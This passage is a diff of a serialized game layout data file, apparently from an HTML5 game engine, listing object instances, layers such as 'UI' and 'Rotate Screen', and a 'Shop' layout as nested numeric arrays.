+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3464,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21087,
+ 445,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3465,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21336,
+ 445,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3476,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22483,
+ 496,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3477,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11365,
+ 521,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3360,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11504,
+ 526,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3361,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11749,
+ 532,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3362,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11849,
+ 529,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3363,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11236,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3480,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11327,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3481,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11419,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3482,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11511,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3483,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11603,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3484,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11695,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3485,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11786,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3486,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11878,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3487,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11970,
+ 555,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3488,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11236,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3495,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11236,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3496,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11236,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3497,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11328,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3498,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11328,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3499,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11328,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3500,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11419,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3501,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11419,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3502,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11418,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3503,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11510,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3504,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11510,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3505,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11510,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3506,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11603,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3507,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11603,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3508,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11603,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3509,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11694,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3510,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11694,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3511,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11694,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3512,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11785,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3513,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11785,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3514,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11785,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3515,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11877,
+ 650,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3516,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11877,
+ 746,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3517,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11877,
+ 841,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3518,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11970,
+ 651,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3519,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11970,
+ 747,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3520,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11970,
+ 842,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3521,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11422,
+ 482,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3526,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11786,
+ 484,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3527,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11605,
+ 668,
+ 0,
+ 824,
+ 307,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3535,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11237,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3538,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11328,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3539,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11418,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3540,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11511,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3541,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11602,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3542,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11694,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3543,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11785,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3544,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11876,
+ 937,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3545,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11969,
+ 938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3546,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 445226279315520,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 680095307038992,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -740,
+ 300,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 5045,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 5046,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400,
+ -137,
+ 0,
+ 373,
+ 233,
+ 0,
+ 0,
+ 1,
+ 0.5013405084609985,
+ 0.5021459460258484,
+ 0,
+ 0,
+ []
+ ],
+ 458,
+ 4914,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 23,
+ "400,200",
+ 0,
+ 0.5,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 192.6798095703125,
+ -156.8688354492188,
+ 0,
+ 414,
+ 47.72724914550781,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 459,
+ 4915,
+ [],
+ [
+ []
+ ],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "123",
+ 0.35,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ -24,
+ 0
+ ]
+ ],
+ [
+ [
+ 193.5851440429688,
+ -83.32383728027344,
+ 0,
+ 414,
+ 47.72724914550781,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 460,
+ 4916,
+ [],
+ [
+ []
+ ],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "123",
+ 0.35,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ -24,
+ 0
+ ]
+ ],
+ [
+ [
+ 11,
+ 47,
+ 0,
+ 100,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 4893,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 139.9288330078125,
+ 0,
+ 100,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1934,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 233.1157073974609,
+ 0,
+ 100,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1935,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 326.0445556640625,
+ 0,
+ 100,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1936,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11.12860107421875,
+ 418.8274536132813,
+ 0,
+ 100,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1937,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11.12860107421875,
+ 511.7563171386719,
+ 0,
+ 100,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1938,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 403,
+ 240.5,
+ 0,
+ 670,
+ 115,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5043478012084961,
+ 0,
+ 0,
+ []
+ ],
+ 468,
+ 2030,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400,
+ 26,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 1787,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 443,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 1788,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 387,
+ 0,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 1789,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 26,
+ 23,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 1870,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 118,
+ 26,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 1872,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 74,
+ 26,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 1963,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 813662091008752,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 858308928360071,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Shop",
+ 800,
+ 480,
+ false,
+ "shop",
+ 477042968250192,
+ [
+ [
+ "Background0",
+ 0,
+ 920506714395016,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ false,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -929,
+ 209,
+ 0,
+ 118.6171417236328,
+ 79.82765197753906,
+ 0,
+ 0,
+ 1,
+ 0.5687204003334045,
+ 0.5563380122184753,
+ 0,
+ 0,
+ []
+ ],
+ 66,
+ 14,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 520,
+ 2564,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background1",
+ 1,
+ 434459831893440,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Background2",
+ 2,
+ 608020930143318,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Game",
+ 3,
+ 651423738174455,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -906,
+ 265,
+ 0,
+ 360,
+ 384,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 3,
+ 145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -197,
+ 873,
+ 0,
+ 276,
+ 56,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 29,
+ 174,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.36,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -24,
+ 0
+ ]
+ ],
+ [
+ [
+ -472,
+ 688,
+ 0,
+ 146.8159484863281,
+ 37.64511871337891,
+ 0,
+ 0,
+ 1,
+ 0.682539701461792,
+ 0.52173912525177,
+ 0,
+ 0,
+ []
+ ],
+ 30,
+ 175,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -946,
+ -39,
+ 0,
+ 499,
+ 135,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 31,
+ 186,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "123456",
